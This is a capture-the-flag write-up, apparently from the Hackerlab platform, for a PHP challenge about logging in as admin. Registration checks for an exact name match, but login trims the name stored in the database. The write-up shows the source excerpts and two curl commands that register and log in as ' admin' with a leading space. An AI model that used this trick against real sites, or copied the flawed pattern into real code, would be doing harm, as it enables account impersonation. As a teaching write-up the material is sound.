Админ
Админ
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-02 | Status: Solved Techniques: admin_impersonation_without_sqli, php_trim_bypass_via_leading_whitespace, registration_login_logic_gap
Summary
Task: PHP login/registration app where you must authorize as admin. Solution: exploit logic gap between registration (exact match) and login (trim on DB result) by registering ' admin' with leading space.
Админ — Hackerlab
Description
Авторизуйтесь как админ, чтобы получить заветный флаг!
English summary: A web application with login and registration forms. Two PHP source files are provided (index.php and registration.php). The goal is to authenticate as the admin user to obtain the flag.
Analysis
The application has two endpoints with a critical logic gap between them:
registration.php — checks if a user exists with exact match:
php read-only • copy allowed$sql = $link->prepare("SELECT * FROM users WHERE login=?"); $sql->bind_param("s", $login); $sql->execute(); $found = $sql->fetch();
If the user is not found, it inserts the new credentials directly.
index.php — performs login with a subtle flaw:
php read-only • copy allowed$sql = $link->prepare("SELECT login,password FROM users WHERE login=? and password=? LIMIT 1"); $sql->bind_param("ss", $login, $pass); $sql->execute(); $sql->bind_result($login, $pass); // OVERWRITES $login with DB value! $sql->store_result(); if ($sql->num_rows == 1) { if (trim($login) == 'admin') { // trim() on the DB result echo "flag"; } }
The key vulnerability is a logic gap between registration and login:
bind_result($login, $pass)overwrites the$loginvariable with the value fetched from the databasetrim($login)is then applied to this database value, not the original user input- Registration only checks exact match —
" admin"≠"admin"in MySQL string comparison with prepared statements
This means registering " admin" (with leading space) creates a new user that passes the trim() check during login.
Solution
Step 1: Register with leading space
Register a new user with login " admin" (space + admin):
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16072/registration.php \ --data-urlencode "login= admin" \ -d "password=mypass123"
Registration succeeds because " admin" is not equal to "admin" in the database lookup.
Step 2: Login with the same credentials
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16072/index.php \ --data-urlencode "login= admin" \ -d "password=mypass123"
Response contains the flag.
Why it works — execution flow:
Registration:
Input: " admin" (leading space)
DB Check: WHERE login=" admin" → NOT found (different from "admin")
INSERT: Stores " admin" with password "mypass123"
Login:
Input: " admin" + "mypass123"
DB Query: WHERE login=" admin" AND password="mypass123" → FOUND (1 row)
bind_result: $login = " admin" (overwritten from DB)
trim(): trim(" admin") → "admin"
Compare: "admin" == "admin" → TRUE → FLAG!